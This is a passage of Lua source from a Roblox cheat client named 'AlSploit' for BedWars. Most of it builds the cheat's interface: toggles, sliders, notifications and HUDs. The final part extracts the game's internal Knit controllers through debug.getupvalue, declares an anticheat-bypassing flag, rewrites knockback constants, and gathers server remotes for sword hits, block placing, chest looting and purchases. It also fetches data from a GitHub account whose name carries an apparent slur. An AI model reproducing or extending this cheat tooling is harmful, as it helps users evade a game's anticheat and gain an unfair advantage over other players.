ModuleInformation_2.AnchorPoint = Vector2.new(0, 0.3)
ModuleInformation_2.TextColor3 = Color3.new(1, 1, 1)
ModuleInformation_2.TextScaled = true
ModuleInformation_2.TextSize = 11
ModuleInformation_2.Visible = false
ModuleInformation_2.ZIndex = 5
ModuleInformation_2.Size = UDim2.new(1.11, 0, 0.131, 0)
ModuleInformation_2.Font = Enum.Font.GothamBold
ModuleInformation_2.Text = HoverText_2
local TextSize = TextService:GetTextSize(HoverText_2, 11, Enum.Font.GothamBold, Vector2.new(100000, 100000))
ModuleInformation_2.Size = UDim2.new(0, (TextSize.X + 15), 0, (TextSize.Y + 4))
UICorner_3.Parent = ModuleInformation_2
UICorner_3.Name = "UICorner_2"
UICorner_3.CornerRadius = UDim.new(0.4, 0)
UITextSizeConstraint_5.Parent = ModuleInformation_2
UITextSizeConstraint_5.Name = "UITextSizeConstraint_3"
UITextSizeConstraint_5.MaxTextSize = 11
task.spawn(function()
local FollowMouseValue = false
task.spawn(function()
Dropdown.MouseLeave:Connect(function()
ModuleInformation_2.Visible = false
FollowMouseValue = false
end)
end)
task.spawn(function()
Dropdown.MouseEnter:Connect(function()
ModuleInformation_2.Visible = true
FollowMouseValue = true
end)
end)
task.spawn(function()
Mouse.Move:Connect(function()
if FollowMouseValue == true then
local MousePosition = UserInputService:GetMouseLocation()
ModuleInformation_2.Position = UDim2.new(0, MousePosition.X , 0, MousePosition.Y - 10)
end
end)
end)
end)
task.spawn(function()
DropdownButton.Activated:Connect(function()
Dropdown.Visible = not Dropdown.Visible
end)
end)
function DropdownTable:CreateToggle(Arguments)
local DefaultValue = Arguments.DefaultValue
local Function_2 = Arguments.Function
local Parent_2 = Name
local Name = Arguments.Name
local Button = Instance.new("TextButton")
local UITextSizeConstraint_6 = Instance.new("UITextSizeConstraint")
if AlSploitSettings[Parent][Parent_2][Name] == nil then
AlSploitSettings[Parent][Parent_2][Name] = {Value = DefaultValue}
end
local function ToggleValue(Start)
if Start == false then
AlSploitSettings[Parent][Parent_2][Name].Value = not AlSploitSettings[Parent][Parent_2][Name].Value
end
if AlSploitSettings[Parent][Parent_2][Name].Value == true then
Button.BackgroundTransparency = 0
Function_2()
end
if AlSploitSettings[Parent][Parent_2][Name].Value == false then
Button.BackgroundTransparency = 1
Function_2()
end
end
Button.Parent = OptionsContainer
Button.Name = "Button"
Button.BackgroundTransparency = (AlSploitSettings[Parent][Parent_2][Name].Value == true and 0 or 1)
Button.BackgroundColor3 = Color3.new(0.564706, 0.0313725, 1)
Button.AutoButtonColor = false
Button.BorderSizePixel = 0
Button.TextColor3 = Color3.new(1, 1, 1)
Button.TextScaled = true
Button.TextSize = 11
Button.Position = UDim2.new(3.039, 0, -2.333, 0)
Button.Size = UDim2.new(1, 0, 0.172, 0)
Button.Font = Enum.Font.GothamBold
Button.Text = Name
UITextSizeConstraint_6.Parent = Button
UITextSizeConstraint_6.Name = "UITextSizeConstraint_5"
UITextSizeConstraint_6.MaxTextSize = 11
task.spawn(function()
ToggleValue(true)
end)
task.spawn(function()
Button.Activated:Connect(function()
ToggleValue(false)
end)
end)
end
return DropdownTable
end
function ToggleTable:CreateColorSlider(Arguments)
local DefaultValue = Arguments.DefaultValue
local Function = Arguments.Function
local Parent = Name
local Name = Arguments.Name
if AlSploitSettings[Parent][Name] == nil then
AlSploitSettings[Parent][Name] = {Value = tostring(DefaultValue.R .. "," .. DefaultValue.G .. "," .. DefaultValue.B), Percentage = 0}
end
local ColorSplit = string.split(AlSploitSettings[Parent][Name].Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorPicker = Instance.new("Frame")
local SliderFrame = Instance.new("Frame")
local Bar = Instance.new("TextButton")
local UICorner_3 = Instance.new("UICorner")
local UIStroke = Instance.new("UIStroke")
local UITextSizeConstraint_4 = Instance.new("UITextSizeConstraint")
local ColorDisplay = Instance.new("Frame")
local UICorner_4 = Instance.new("UICorner")
local Fill = Instance.new("Frame")
local UIGradient = Instance.new("UIGradient")
local NameDisplay = Instance.new("TextLabel")
local UITextSizeConstraint_5 = Instance.new("UITextSizeConstraint")
local UIPadding_2 = Instance.new("UIPadding")
ColorPicker.Parent = ModuleContainer
ColorPicker.Name = "ColorPicker"
ColorPicker.BackgroundTransparency = 0.15
ColorPicker.BackgroundColor3 = Color3.new(0, 0, 0)
ColorPicker.BorderSizePixel = 0
ColorPicker.Position = UDim2.new(0, 0, 0.287, 0)
ColorPicker.Visible = false
ColorPicker.Size = UDim2.new(1, 0, 0.099, 0)
ColorPicker.LayoutOrder = CurrentLayoutOrder
ColorPicker.LayoutOrder = (CurrentLayoutOrder + 1)
SliderFrame.Parent = ColorPicker
SliderFrame.Name = "SliderFrame"
SliderFrame.BackgroundTransparency = 1
SliderFrame.BorderSizePixel = 0
SliderFrame.Position = UDim2.new(0.150, 0, 0.654, 0)
SliderFrame.Size = UDim2.new(0.700, 0, 0.060, 0)
Bar.Parent = SliderFrame
Bar.Name = "Bar"
Bar.BackgroundColor3 = Color3.new(0, 0.6, 1)
Bar.AutoButtonColor = false
Bar.BorderSizePixel = 0
Bar.TextScaled = true
Bar.TextSize = 14
Bar.Position = UDim2.new(AlSploitSettings[Parent][Name].Percentage, 0, -1.111, 0)
Bar.ZIndex = 2
Bar.Size = UDim2.new(0.070, 0, 1.915, 0)
Bar.Font = Enum.Font.GothamBold
Bar.Text = ""
UICorner_3.Parent = Bar
UICorner_3.Name = "UICorner_3"
UICorner_3.CornerRadius = UDim.new(1, 0)
UIStroke.Parent = Bar
UIStroke.Name = "UIStroke"
UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
UIStroke.Thickness = 1
UIStroke.Color = Color3.new(0, 0, 0)
UITextSizeConstraint_4.Parent = Bar
UITextSizeConstraint_4.Name = "UITextSizeConstraint_4"
UITextSizeConstraint_4.MaxTextSize = 14
ColorDisplay.Parent = SliderFrame
ColorDisplay.Name = "ColorDisplay"
ColorDisplay.BackgroundColor3 = Color3.new(R, G, B)
ColorDisplay.BorderSizePixel = 0
ColorDisplay.Position = UDim2.new(0.889, 0, -5, 0)
ColorDisplay.Size = UDim2.new(0, 15, 0, 15)
UICorner_4.Parent = ColorDisplay
UICorner_4.Name = "UICorner_4"
UICorner_4.CornerRadius = UDim.new(0.200, 0)
Fill.Parent = SliderFrame
Fill.Name = "Fill"
Fill.BackgroundColor3 = Color3.new(1, 1, 1)
Fill.BorderSizePixel = 0
Fill.Position = UDim2.new(0, 0, -0.329, 0)
Fill.Size = UDim2.new(1, 0, 0.650, 0)
UIGradient.Parent = Fill
UIGradient.Name = "UIGradient_3"
UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 0, 0)), ColorSequenceKeypoint.new(0.20, Color3.new(1, 1, 0)), ColorSequenceKeypoint.new(0.40, Color3.new(0, 1, 0)), ColorSequenceKeypoint.new(0.60, Color3.new(0, 1, 1)), ColorSequenceKeypoint.new(0.80, Color3.new(0, 0, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 0, 1))}
NameDisplay.Parent = ColorPicker
NameDisplay.Name = "NameDisplay"
NameDisplay.BackgroundTransparency = 1
NameDisplay.BorderSizePixel = 0
NameDisplay.TextXAlignment = Enum.TextXAlignment.Left
NameDisplay.TextColor3 = Color3.new(1, 1, 1)
NameDisplay.TextScaled = true
NameDisplay.TextSize = 10
NameDisplay.Position = UDim2.new(-0.005, 0, 0.198, 0)
NameDisplay.Size = UDim2.new(1.005, 0, 0.470, 0)
NameDisplay.Font = Enum.Font.GothamBold
NameDisplay.Text = Name
UITextSizeConstraint_5.Parent = NameDisplay
UITextSizeConstraint_5.Name = "UITextSizeConstraint_5"
UITextSizeConstraint_5.MaxTextSize = 11
UIPadding_2.Parent = NameDisplay
UIPadding_2.Name = "UIPadding_2"
UIPadding_2.PaddingLeft = UDim.new(0, 30)
local function GetColor(Percentage)
local UIGradientKeyPoints = UIGradient.Color.Keypoints
local ClosestToRight = UIGradientKeyPoints[# UIGradientKeyPoints]
local ClosestToLeft = UIGradientKeyPoints[1]
local Color
for i = 1, (# UIGradientKeyPoints - 1) do
if (UIGradientKeyPoints[i].Time <= Percentage) and (UIGradientKeyPoints[i + 1].Time >= Percentage) then
ClosestToRight = UIGradientKeyPoints[i + 1]
ClosestToLeft = UIGradientKeyPoints[i]
Percentage = ((Percentage - ClosestToLeft.Time) / (ClosestToRight.Time - ClosestToLeft.Time))
Color = ClosestToLeft.Value:lerp(ClosestToRight.Value, Percentage)
return Color
end
end
end
local CanUseSlider = false
task.spawn(function()
Bar.MouseButton1Down:Connect(function()
CanUseSlider = true
end)
end)
task.spawn(function()
UserInputService.InputEnded:Connect(function(Input)
if Input.UserInputType == Enum.UserInputType.MouseButton1 then
CanUseSlider = false
end
end)
end)
task.spawn(function()
Function(R, G, B)
end)
task.spawn(function()
DropdownButton.Activated:Connect(function()
ColorPicker.Visible = not ColorPicker.Visible
task.spawn(function()
repeat
task.wait()
if CanUseSlider == true then
local MousePosition = UserInputService:GetMouseLocation().X
local FramePosition = ColorPicker.AbsolutePosition.X
local BarPosition = Bar.Position
local FrameSize = ColorPicker.AbsoluteSize.X
local Position = ((MousePosition - FramePosition) / FrameSize)
local Percentage = math.clamp(Position, 0, 1)
local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut, 0, false, 0)
local PositionTween = TweenService:Create(Bar, TweenInformation, {Position = UDim2.new(Percentage, 0, BarPosition.Y.Scale, 0)})
PositionTween:Play()
local Color = GetColor(Percentage)
ColorDisplay.BackgroundColor3 = Color
AlSploitSettings[Parent][Name].Percentage = Percentage
AlSploitSettings[Parent][Name].Value = tostring(Color.R .. "," .. Color.G .. "," .. Color.B)
Function()
end
until shared.AlSploitUnInjected == true or ColorPicker.Visible == false
end)
end)
end)
end
task.spawn(function()
ToggleTable:CreateKeybind()
end)
return ToggleTable, Toggle
end
return TabTable
end
function CreateNotification(NotificationTime, NotificationText)
NotificationCount = NotificationCount + 1
local Notification = Instance.new("Frame")
Notification.Parent = AlSploitScreenGui
Notification.Name = "Notification"
Notification.BackgroundTransparency = 0.15
Notification.BackgroundColor3 = Color3.new(0, 0, 0)
Notification.Position = UDim2.new(1, 0, NotificationY, 0)
Notification.Size = UDim2.new(0.178, 0, 0.084, 0)
table.insert(NotificationInstances, Notification)
local UICorner = Instance.new("UICorner")
UICorner.Parent = Notification
UICorner.CornerRadius = UDim.new(0.06, 0)
local UIStroke = Instance.new("UIStroke")
UIStroke.Parent = Notification
UIStroke.Transparency = 0.5
local Slider = Instance.new("Frame")
Slider.Parent = Notification
Slider.Name = "Slider"
Slider.BackgroundColor3 = Color3.new(0, 0, 0)
Slider.BorderSizePixel = 0
Slider.Position = UDim2.new(0.219, 0, 0.734, 0)
Slider.Size = UDim2.new(0.631, 0, 0.058, 0)
local UICorner2 = Instance.new("UICorner")
UICorner2.Parent = Slider
UICorner2.Name = "UICorner2"
UICorner2.CornerRadius = UDim.new(1, 0)
local Fill = Instance.new("Frame")
Fill.Parent = Slider
Fill.Name = "Fill"
Fill.BackgroundColor3 = Color3.new(0.45098, 0, 1)
Fill.BorderSizePixel = 0
Fill.Size = UDim2.new(1, 0, 1, 0)
local Text = Instance.new("TextLabel")
Text.Parent = Notification
Text.Name = "Text"
Text.BackgroundTransparency = 1
Text.TextColor3 = Color3.new(1, 1, 1)
Text.TextScaled = true
Text.Position = UDim2.new(0, 0, 0.1, 0)
Text.Font = Enum.Font.GothamBold
Text.Size = UDim2.new(1, 0, 0.47, 0)
Text.Text = NotificationText
local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
UITextSizeConstraint.Parent = Text
UITextSizeConstraint.MaxTextSize = 14
local TimeLeft = Instance.new("TextLabel")
TimeLeft.Parent = Notification
TimeLeft.Name = "TimeLeft"
TimeLeft.BackgroundTransparency = 1
TimeLeft.TextColor3 = Color3.new(1, 1, 1)
TimeLeft.TextScaled = true
TimeLeft.Position = UDim2.new(0, 0, 0.53, 0)
TimeLeft.Font = Enum.Font.GothamBold
TimeLeft.Size = UDim2.new(0.221, 0, 0.47, 0)
TimeLeft.Text = tostring(NotificationTime)
local UITextSizeConstraint2 = Instance.new("UITextSizeConstraint")
UITextSizeConstraint2.Parent = TimeLeft
UITextSizeConstraint2.Name = "UITextSizeConstraint2"
UITextSizeConstraint2.MaxTextSize = 14
task.spawn(function()
local DesiredPosition = UDim2.new(0.81, 0, NotificationY, 0)
NotificationY = NotificationY - 0.105
local TweenInformation = TweenInfo.new(0.3, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out, 0, false, 0)
local PositionTween = TweenService:Create(Notification, TweenInformation, {Position = DesiredPosition})
PositionTween:Play()
task.wait(NotificationTime)
DesiredPosition = UDim2.new(1, 0, Notification.Position.Y.Scale, 0)
TweenInformation = TweenInfo.new(0.3, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0)
PositionTween = TweenService:Create(Notification, TweenInformation, {Position = DesiredPosition})
NotificationY = NotificationY + 0.105
PositionTween:Play()
NotificationEvent:Fire({Name = "NotificationRemoved", Position = DesiredPosition})
NotificationCount = NotificationCount - 1
task.wait(TweenInformation.Time)
for i, v in next, NotificationInstances do
if v == Notification then
table.remove(NotificationInstances, i)
Notification:Destroy()
break
end
end
end)
task.spawn(function()
local TimeleftTick = tick()
repeat
task.wait()
TimeLeft.Text = string.format("%.1f", (NotificationTime - (tick() - TimeleftTick)))
until (tick() - TimeleftTick) >= NotificationTime
TimeLeft.Text = "0.0"
end)
local TweenInformation = TweenInfo.new(NotificationTime, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0)
local SizeTween = TweenService:Create(Fill, TweenInformation, {Size = UDim2.new(0, 0, 1, 0)})
SizeTween:Play()
end
local function CreateProgressHud(MaximumValue)
local Background = Instance.new("Frame")
local UICorner = Instance.new("UICorner")
local UIStroke = Instance.new("UIStroke")
local Text = Instance.new("TextLabel")
local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
local DisplayBackground = Instance.new("Frame")
local UICorner_2 = Instance.new("UICorner")
local Display = Instance.new("Frame")
local UICorner_3 = Instance.new("UICorner")
Background.Parent = AlSploitScreenGui
Background.Name = "Background"
Background.BackgroundTransparency = 0.25
Background.BackgroundColor3 = Color3.new(0, 0, 0)
Background.BorderSizePixel = 0
Background.Position = UDim2.new(0.410, 0, 0.698, 0)
Background.Size = UDim2.new(0.178, 0, 0.085, 0)
UICorner.Parent = Background
UICorner.Name = "UICorner"
UICorner.CornerRadius = UDim.new(0.1, 0)
UIStroke.Parent = Background
UIStroke.Name = "UIStroke"
UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
UIStroke.Thickness = 2
UIStroke.Color = Color3.new(0, 0.6, 1)
Text.Parent = Background
Text.Name = "Text"
Text.BackgroundTransparency = 1
Text.BorderSizePixel = 0
Text.Position = UDim2.new(0, 0, 0.510, 0)
Text.TextColor3 = Color3.new(0, 0.6, 1)
Text.TextScaled = true
Text.TextSize = 20
Text.Size = UDim2.new(1, 0, 0.489, 0)
Text.Font = Enum.Font.GothamBold
Text.Text = MaximumValue
UITextSizeConstraint.Parent = Text
UITextSizeConstraint.Name = "UITextSizeConstraint"
UITextSizeConstraint.MaxTextSize = 20
DisplayBackground.Parent = Background
DisplayBackground.Name = "DisplayBackground"
DisplayBackground.BackgroundColor3 = Color3.new(0, 0, 0)
DisplayBackground.BorderSizePixel = 0
DisplayBackground.Position = UDim2.new(0.229, 0, 0.267, 0)
DisplayBackground.Size = UDim2.new(0.545, 0, 0.150, 0)
UICorner_2.Parent = DisplayBackground
UICorner_2.Name = "UICorner_2"
UICorner_2.CornerRadius = UDim.new(0.4, 0)
Display.Parent = DisplayBackground
Display.Name = "Display"
Display.BackgroundColor3 = Color3.new(0, 0.6, 1)
Display.BorderSizePixel = 0
Display.Position = UDim2.new(0, 0, 0, 0)
Display.ZIndex = 2
Display.Size = UDim2.new(1, 0, 1, 0)
UICorner_3.Parent = Display
UICorner_3.Name = "UICorner_3"
UICorner_3.CornerRadius = UDim.new(0.4, 0)
task.spawn(function()
local TweenInformation = TweenInfo.new(MaximumValue, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0)
local SizeTween = TweenService:Create(Display, TweenInformation, {Size = UDim2.new(0, 0, 1, 0)})
SizeTween:Play()
SizeTween.Completed:Connect(function()
Background:Destroy()
end)
end)
task.spawn(function()
repeat
task.wait()
local Percentage = math.clamp(Display.Size.X.Scale, 0, 1)
local RoundedValue = DecimalRound((Percentage * MaximumValue), 1)
Text.Text = RoundedValue
until shared.AlSploitUnInjected == true or not Background
end)
return Background
end
local function CreateTargetHud()
local Background = Instance.new("Frame")
local UICorner = Instance.new("UICorner")
local UIStroke = Instance.new("UIStroke")
local DisplayBackground = Instance.new("Frame")
local UICorner_2 = Instance.new("UICorner")
local Display = Instance.new("Frame")
local UICorner_3 = Instance.new("UICorner")
local PlayerName = Instance.new("TextLabel")
local Health = Instance.new("TextLabel")
local _100HP = Instance.new("TextLabel")
local Status = Instance.new("TextLabel")
Background.Parent = AlSploitScreenGui
Background.Name = "Background"
Background.BackgroundTransparency = 0.15
Background.BackgroundColor3 = Color3.new(0, 0, 0)
Background.BorderSizePixel = 0
Background.AnchorPoint = Vector2.new(0.5, 0)
Background.Position = UDim2.new(0.5, 0, 0.65, 0)
Background.Size = UDim2.new(0.219, 0, 0.116, 0)
UICorner.Parent = Background
UICorner.Name = "UICorner"
UICorner.CornerRadius = UDim.new(0.09, 0)
UIStroke.Parent = Background
UIStroke.Name = "UIStroke"
UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
UIStroke.Thickness = 1
DisplayBackground.Parent = Background
DisplayBackground.Name = "DisplayBackground"
DisplayBackground.BackgroundColor3 = Color3.new(0, 0, 0)
DisplayBackground.BorderSizePixel = 0
DisplayBackground.Position = UDim2.new(0.226, 0, 0.825, 0)
DisplayBackground.Size = UDim2.new(0.545, 0, 0.0729, 0)
UICorner_2.Parent = DisplayBackground
UICorner_2.Name = "UICorner_2"
UICorner_2.CornerRadius = UDim.new(0.015, 0)
Display.Parent = DisplayBackground
Display.Name = "Display"
Display.BorderSizePixel = 0
Display.Position = UDim2.new(0, 0, 0, 0)
Display.Size = UDim2.new(1, 0, 1, 0)
Display.ZIndex = 2
UICorner_3.Parent = Display
UICorner_3.Name = "UICorner3"
UICorner_3.CornerRadius = UDim.new(0, 6)
PlayerName.Parent = Background
PlayerName.Name = "PlayerName"
PlayerName.BackgroundTransparency = 1
PlayerName.BorderSizePixel = 0
PlayerName.TextColor3 = Color3.new(1, 1, 1)
PlayerName.Position = UDim2.new(0, 0, 0, 0)
PlayerName.TextSize = 18
PlayerName.Size = UDim2.new(1, 0, 0.480, 0)
PlayerName.Font = Enum.Font.GothamBold
PlayerName.Text = ""
Health.Parent = Background
Health.Name = "Health"
Health.BackgroundTransparency = 1
Health.BorderSizePixel = 0
Health.Position = UDim2.new(0, 0, 0.471, 0)
Health.TextColor3 = Color3.new(1, 1, 1)
Health.TextSize = 15
Health.Size = UDim2.new(1, 0, 0.354, 0)
Health.Font = Enum.Font.GothamBold
Health.Text = "Health: 100"
_100HP.Parent = Background
_100HP.Name = "100HP"
_100HP.BackgroundTransparency = 1
_100HP.BorderSizePixel = 0
_100HP.Position = UDim2.new(0.770, 0, 0.725, 0)
_100HP.TextColor3 = Color3.new(1, 1, 1)
_100HP.TextSize = 15
_100HP.Size = UDim2.new(0.230, 0, 0.249, 0)
_100HP.Font = Enum.Font.GothamBold
_100HP.Text = "100 HP"
Status.Parent = Background
Status.Name = "Status"
Status.BackgroundTransparency = 1
Status.BorderSizePixel = 0
Status.Position = UDim2.new(0, 0, 0.725, 0)
Status.TextColor3 = Color3.new(0, 1, 0)
Status.TextSize = 15
Status.Size = UDim2.new(0.228, 0, 0.249, 0)
Status.Font = Enum.Font.GothamBold
Status.Text = "Win"
return Background, UIStroke, PlayerName, Display, Health, _100HP, Status
end
local function CreateFlyHud()
local Background = Instance.new("Frame")
local UICorner = Instance.new("UICorner")
local UIStroke = Instance.new("UIStroke")
local Text = Instance.new("TextLabel")
local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
local DisplayBackground = Instance.new("Frame")
local UICorner_2 = Instance.new("UICorner")
local Display = Instance.new("Frame")
local UICorner_3 = Instance.new("UICorner")
Background.Parent = AlSploitScreenGui
Background.Name = "Background"
Background.BackgroundTransparency = 0.25
Background.BackgroundColor3 = Color3.new(0, 0, 0)
Background.BorderSizePixel = 0
Background.AnchorPoint = Vector2.new(0.5, 0)
Background.Position = UDim2.new(0.5, 0, 0.7, 0)
Background.Visible = false
Background.Size = UDim2.new(0.178, 0, 0.085, 0)
UICorner.Parent = Background
UIStroke.Name = "UICorner"
UICorner.CornerRadius = UDim.new(0.1, 0)
UIStroke.Parent = Background
UIStroke.Name = "UIStroke"
UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
UIStroke.Thickness = 2
Text.Parent = Background
Text.Name = "Text"
Text.BackgroundTransparency = 1
Text.BackgroundColor3 = Color3.new(1, 1, 1)
Text.TextColor3 = Color3.new(0, 0.6, 1)
Text.TextScaled = true
Text.Position = UDim2.new(0, 0, 0.511, 0)
Text.TextSize = 20
Text.Size = UDim2.new(1, 0, 0.489, 0)
Text.Font = Enum.Font.GothamBold
UITextSizeConstraint.Parent = Text
UITextSizeConstraint.Name = "UITextSizeConstraint"
UITextSizeConstraint.MaxTextSize = 20
DisplayBackground.Parent = Background
DisplayBackground.Name = "DisplayBackground"
DisplayBackground.BackgroundColor3 = Color3.new(0, 0, 0)
DisplayBackground.BorderSizePixel = 0
DisplayBackground.Position = UDim2.new(0.229, 0, 0.267, 0)
DisplayBackground.Size = UDim2.new(0.545, 0, 0.150, 0)
UICorner_2.Parent = DisplayBackground
UICorner_2.Name = "UICorner_2"
UICorner_2.CornerRadius = UDim.new(0.1, 6)
Display.Parent = DisplayBackground
Display.Name = "Display"
Display.BackgroundColor3 = Color3.new(0, 0.6, 1)
Display.BorderColor3 = Color3.new(0, 0, 0)
Display.Position = UDim2.new(0, 0, 0, 0)
Display.Size = UDim2.new(0, 0, 1, 0)
UICorner_3.Parent = Display
UICorner_3.Name = "UICorner_3"
UICorner_3.CornerRadius = UDim.new(0.1, 6)
return Background, Text, Display, UIStroke
end
local function CreateCoordinatesDisplay()
local Text = Instance.new("TextLabel")
Text.Parent = AlSploitScreenGui
Text.Name = "Text"
Text.BackgroundTransparency = 1
Text.TextTransparency = 1
Text.BorderSizePixel = 0
Text.TextColor3 = Color3.new(1, 1, 1)
Text.TextSize = 20
Text.Position = UDim2.new(0.038, 0, 0.818, 0)
Text.Size = UDim2.new(0.135, 0, 0.061, 0)
Text.Font = Enum.Font.GothamBold
Text.Text = "XYZ: (Nan, Nan, Nan)"
task.spawn(function()
repeat
task.wait()
if AlSploitSettings.AirtimeDisplay.Value == true then
Text.Position = UDim2.new(0.038, 0, 0.818, 0)
end
if AlSploitSettings.AirtimeDisplay.Value == false then
Text.Position = UDim2.new(0.038, 0, 0.857, 0)
end
until shared.AlSploitUnInjected == true
end)
return Text
end
local function CreateAirtimeDisplay()
local Text = Instance.new("TextLabel")
Text.Parent = AlSploitScreenGui
Text.Name = "Text"
Text.BackgroundTransparency = 1
Text.TextTransparency = 1
Text.BorderSizePixel = 0
Text.TextColor3 = Color3.new(1, 1, 1)
Text.TextSize = 20
Text.Position = UDim2.new(0.038, 0, 0.857, 0)
Text.Size = UDim2.new(0.135, 0, 0.061, 0)
Text.Font = Enum.Font.GothamBold
Text.Text = "Airtime: 0"
return Text
end
local function CreateSpeedDisplay()
local Text = Instance.new("TextLabel")
Text.Parent = AlSploitScreenGui
Text.Name = "Text"
Text.BackgroundTransparency = 1
Text.TextTransparency = 1
Text.BorderSizePixel = 0
Text.TextColor3 = Color3.new(1, 1, 1)
Text.TextSize = 20
Text.Position = UDim2.new(0.038, 0, 0.896, 0)
Text.Size = UDim2.new(0.135, 0, 0.061, 0)
Text.Font = Enum.Font.GothamBold
Text.Text = "Speed: Nan"
return Text
end
local ViewModel = Camera:WaitForChild("Viewmodel", 3)
local C1 = ViewModel:WaitForChild("RightHand"):WaitForChild("RightWrist").C1
local C0 = ViewModel:WaitForChild("RightHand"):WaitForChild("RightWrist").C0
local CollectionServiceBlocks = CollectionService:GetTagged("block")
task.spawn(function()
for i, v in next, WorkSpace:GetDescendants() do
if v.Size == Vector3.new(3, 3, 3) then
table.insert(CollectionServiceBlocks, v)
end
end
task.spawn(function()
for i, v in next, game:GetService("Workspace"):WaitForChild("Map"):WaitForChild("Wolds")[1]:FindFirstChild("Blocks") do
if v.Size == Vector3.new(3, 3, 3) then
table.insert(CollectionServiceBlocks, v)
end
end
end)
end)
local AnticheatBypassing = false
local DamageBoostValue = false
local JadeHammerTick = 0
local ZephyrOrb = 0
local Sides = {
Enum.NormalId.Top,
Enum.NormalId.Left,
Enum.NormalId.Right,
Enum.NormalId.Back,
Enum.NormalId.Front
}
local KnitGotten, Knit
task.spawn(function()
repeat
task.wait()
pcall(function()
KnitGotten, Knit = pcall(function()
return debug.getupvalue(require(LocalPlayer.PlayerScripts.TS.knit).setup, 9)
end)
end)
until KnitGotten or shared.AlSploitUnInjected == true
end)
local DefaultRemotePath = ReplicatedStorageService:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged")
task.wait(1)
local BedwarsKnitControllers = {
WindWalkerController = (KnitGotten and Knit.Controllers.WindWalkerController or nil),
ViewModelController = (KnitGotten and Knit.Controllers.ViewmodelController or nil),
SprintController = (KnitGotten and Knit.Controllers.SprintController or nil),
SwordController = (KnitGotten and Knit.Controllers.SwordController or nil),
FovController = (KnitGotten and Knit.Controllers.FovController or nil)
}
local BedwarsControllers = {
ViewModelController = LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"],
}
local BedwarsUtilities = {
KnockbackUtil = {
ogvals = {
dirStrength = 11750,
upwardStrength = 10000
},
applyKnockback = function(horizontal, vertical)
ReplicatedStorageService.TS.damage["knockback-util"]:SetAttribute('ConstantManager_kbDirectionStrength', horizontal)
ReplicatedStorageService.TS.damage["knockback-util"]:SetAttribute('ConstantManager_kbUpwardStrength', vertical)
end
}
}
local BedwarsConstants = {
CombatConstant = require(ReplicatedStorageService.TS.combat["combat-constant"]).CombatConstant,
CPSConstants = require(ReplicatedStorageService.TS["shared-constants"]).CpsConstants
}
local BedwarsMetas = {
ProjectileMeta = HttpService:JSONDecode(game:HttpGet("https://github.com/jewjew123/ALSPLOIT/raw/refs/heads/main/IS/SHIT/USE/CATVAPE/OR/ProjectileMeta")),
ItemMeta = HttpService:JSONDecode(game:HttpGet("https://raw.githubusercontent.com/jewjew123/ALSPLOIT/refs/heads/main/IS/SHIT/USE/CATVAPE/OR/ItemMeta")),
}
local BedwarsFunctions = {
GetItemMeta = function(Item)
return BedwarsMetas.ItemMeta["items"][Item]
end,
}
local BedwarsRemotes = {
SummonerClawAttackRequestRemote = DefaultRemotePath:WaitForChild("SummonerClawAttackRequest"),
CollectCollectableEntityRemote = DefaultRemotePath:WaitForChild("CollectCollectableEntity"),
DestroyPetrifiedPlayerRemote = DefaultRemotePath:WaitForChild("DestroyPetrifiedPlayer"),
BedwarsPurchaseItemRemote = DefaultRemotePath:WaitForChild("BedwarsPurchaseItem"),
HannahPromptTriggerRemote = DefaultRemotePath:WaitForChild("HannahPromptTrigger"),
TrinitySetAngelTypeRemote = DefaultRemotePath:WaitForChild("SetAngelType"),
SetObservedChestRemote = DefaultRemotePath:WaitForChild("Inventory/SetObservedChest"),
HellBladeReleaseRemote = DefaultRemotePath:WaitForChild("HellBladeRelease"),
AttemptCardThrowRemote = DefaultRemotePath:WaitForChild("AttemptCardThrow"),
ConsumeTreeOrbRemote = DefaultRemotePath:WaitForChild("ConsumeTreeOrb"),
ProjectileFireRemote = DefaultRemotePath:WaitForChild("ProjectileFire"),
PickupItemDropRemote = DefaultRemotePath:WaitForChild("PickupItemDrop"),
SkyScytheSpinRemote = DefaultRemotePath:WaitForChild("SkyScytheSpin"),
ChestGetItemRemote = DefaultRemotePath:WaitForChild("Inventory/ChestGetItem"),
BlockPlacingRemote = ReplicatedStorageService:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@easy-games"):WaitForChild("block-engine"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("PlaceBlock"),
ReportPlayerRemote = DefaultRemotePath:WaitForChild("ReportPlayer"),
DamageBlockRemote = ReplicatedStorageService:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@easy-games"):WaitForChild("block-engine"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("DamageBlock"),
SetInvItemRemote = DefaultRemotePath:WaitForChild("SetInvItem"),
JoinQueueRemote = ReplicatedStorageService:WaitForChild("events-@easy-games/lobby:shared/event/lobby-events@getEvents.Events"):WaitForChild("joinQueue"),
GroundHitRemote = DefaultRemotePath:WaitForChild("GroundHit"),
SwordHitRemote = DefaultRemotePath:WaitForChild("SwordHit"),
AfkInfoRemote = DefaultRemotePath:WaitForChild("AfkInfo")
}
local function GetBestProjectileLauncher(Player)
